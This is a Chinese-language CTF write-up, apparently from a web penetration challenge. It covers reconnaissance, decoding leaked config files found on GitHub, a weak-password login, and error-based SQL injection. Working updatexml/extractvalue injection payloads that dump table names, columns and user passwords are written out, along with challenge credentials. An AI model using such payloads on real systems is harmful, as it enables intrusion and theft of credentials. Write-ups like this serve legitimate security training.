我個人感覺這次題目質(zhì)量是可以的,很模擬現(xiàn)實滲透場景,從外網(wǎng)到內(nèi)網(wǎng)到域控,到達一定階段給個flag
但是也有吐槽的點,主辦方給8個小時,一共有12個關卡,到比賽結(jié)束,解題數(shù)量最多是5道題,到后面主辦方急了,后面很多關還沒有人做出來,然后主辦方就瘋狂給tip,類似于直接告訴你答案。。。很無語
前期信息收集
掃描+手工,整理鏈接
http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/home/index.php
/home/about.php?id=1
/home/about.php?id=2
/home/services.php
/home/portfolio.php
/home/pricing.php
/home/contact.php
/home/administrator/
/home/administrator/index.php?action=login
/home/administrator/inc/config.php
/manager/
/manager/index.php
/manager/inc/config.php
/user/
/user/index.php
/user/upload/
IP無法直接訪問網(wǎng)站,應該是根據(jù)域名控制,掃描的是主機信息,與該web題聯(lián)系不大
翻翻js發(fā)現(xiàn)敏感信息
上github搜用戶名
https://github.com/l1Kai/user/
得到config.php的源碼,以及第一個flag
運行試試,得到數(shù)據(jù)的解密方式
發(fā)現(xiàn)是調(diào)用eval運行的,看看到底運行了什么東西
運行得到,eval中運行的東西,也就是config.php的源碼
該源碼對后面解題沒什么幫助
繼續(xù)看github的commit記錄
用同樣的方式解密其余的config.php,得到第二個flag
這里的PRO_KEY對后面解題有幫助
社工+弱口令
github泄露了郵箱
在其中一個后臺
http://f03252ef-139e-9b27-9a82-3dd3f132ccad.dgctf.ichunqiu.com/user/index.php
用郵箱 likai@youngin.uu.me 密碼 likai
成功登陸,拿到第三個flag
然后在工作選項中有一個可以更新項目的點,這里就需要之前的PRO_KEY
username存在報錯注入
'or(updatexml(2,concat(0x7e,(user())),0))or'
'or(linestring(proname))or'
得到當前庫名,表名,列名
把已知列的內(nèi)容顯示出來
'or(updatexml(2,concat(0x7e,(select(group_concat(proname))from(kvm1.m_notice))),0))or'
'or(updatexml(2,concat(0x7e,(select(group_concat(username))from(kvm1.m_notice))),0))or'
'or(updatexml(2,concat(0x7e,(select(group_concat(content))from(kvm1.m_notice))),0))or'
感覺怪怪的,什么亂七八糟的東西
莫非flag在別的表?報錯得到m_admin,m_user,m_notice,u_user 四個表
'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(table_name))from%0ainformation_schema.tables%0awhere%0atable_schema=database())),1))or'
'or(updatexml(1,concat(0x3a,(select%0agroup_concat(distinct(column_name))from%0ainformation_schema.columns%0awhere%0atable_name='m_admin')),1))or'
最后發(fā)現(xiàn)flag在m_user表,但是報錯注入一次只能顯示32位,這里用substr()函數(shù)分兩次顯示
likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),1))from(m_user)))))or'
likai%40youngin.uu.me'or(extractvalue(1,concat(0x7e,(select(substr(group_concat(password),15))from(m_user)))))or'
拼接得到第4個flag
flag{022f3f7f-a212-4456-b8c5-ce67ae9c2b83}
這次比賽由于時間和能力原因,只做出4道題
賽后交流,得知第5個flag是在m_admin表里面得到管理員的賬號密碼
wangfei
2389pass
安全碼
登陸另一個后臺得到第5個flag
第6個flag,還沒人解出來,好像是文件上傳+文件包含,畢竟時間有限